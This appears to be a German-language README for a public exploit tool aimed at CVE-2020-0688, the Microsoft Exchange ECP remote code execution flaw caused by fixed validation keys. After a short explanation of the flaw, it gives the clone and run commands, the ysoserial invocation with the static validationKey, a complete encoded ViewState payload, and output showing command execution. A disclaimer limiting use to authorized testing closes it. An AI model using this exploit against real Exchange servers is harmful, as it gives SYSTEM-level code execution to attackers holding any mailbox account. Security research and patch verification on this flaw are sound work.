
Remotecodeausführung auf Microsoft Exchange Server durch feste kryptografische Schlüssel
In Microsoft Exchange Server besteht eine Remote-Codeausführung-Schwachstelle, wenn der Server bei der Installation keine ordnungsgemäß eindeutigen Schlüssel erzeugt.
Die Kenntnis des Validierungsschlüssels ermöglicht es einem authentifizierten Benutzer mit einem Postfach, beliebige Objekte zu übergeben, die von der Webanwendung deserialisiert werden, die als SYSTEM ausgeführt wird.
Der Fehler befindet sich in der Exchange Control Panel (ECP)-Komponente. Die Natur des Fehlers ist recht einfach. Anstatt bei jeder Installation zufällig generierte Schlüssel zu verwenden, haben alle Installationen von Microsoft Exchange Server dieselben validationKey- und decryptionKey-Werte in der web.config. Diese Schlüssel werden verwendet, um die Sicherheit von ViewState zu gewährleisten. ViewState sind serverseitige Daten, die ASP.NET-Webanwendungen in serialisierter Form auf dem Client speichern. Der Client sendet diese Daten über den Anfrageparameter __VIEWSTATE an den Server zurück.
Aufgrund der Verwendung statischer Schlüssel kann ein authentifizierter Angreifer den Server dazu verleiten, absichtlich manipulierte ViewState-Daten zu deserialisieren. Mit Hilfe von YSoSerial.net kann ein Angreifer beliebigen .NET-Code auf dem Server im Kontext der Exchange Control Panel-Webanwendung ausführen, die als SYSTEM läuft. (Quelle)
Dank dieser Anweisungen können Sie eine Kopie des Projekts auf Ihrem lokalen Rechner für Entwicklungs- und Testzwecke einrichten und ausführen.
git clone https://github.com/MrTiz/CVE-2020-0688.git
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'
[*] Start to exploit...
[+] Login url: https://localhost:443/owa/auth.owa
[*] Status code: 200
[+] Login successfully!
[*] Tring to get __VIEWSTATEGENERATOR...
[+] Done! __VIEWSTATEGENERATOR: B97B4E27
[*] Tring to get ASP.NET_SessionId...
[+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256
C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug
[+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D
[*] Auto trigger payload...
[+] Status code: 500, Maybe success!
Beiträge machen die Open-Source-Community zu einem so guten Ort zum Lernen, Inspirieren und Schaffen. Jeder Beitrag, den Sie leisten können, ist sehr willkommen.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Dieser Exploit wurde ausschließlich zu Bildungs- und Forschungszwecken entwickelt und veröffentlicht. Der Autor übernimmt keine Verantwortung für eine illegale Nutzung. Verwenden Sie ihn auf eigenes Risiko und nur gegen Systeme, für die Sie zum Testen autorisiert sind.
Dieses Projekt ist unter der GNU General Public License v3.0 lizenziert – siehe die Datei LICENSE für Details.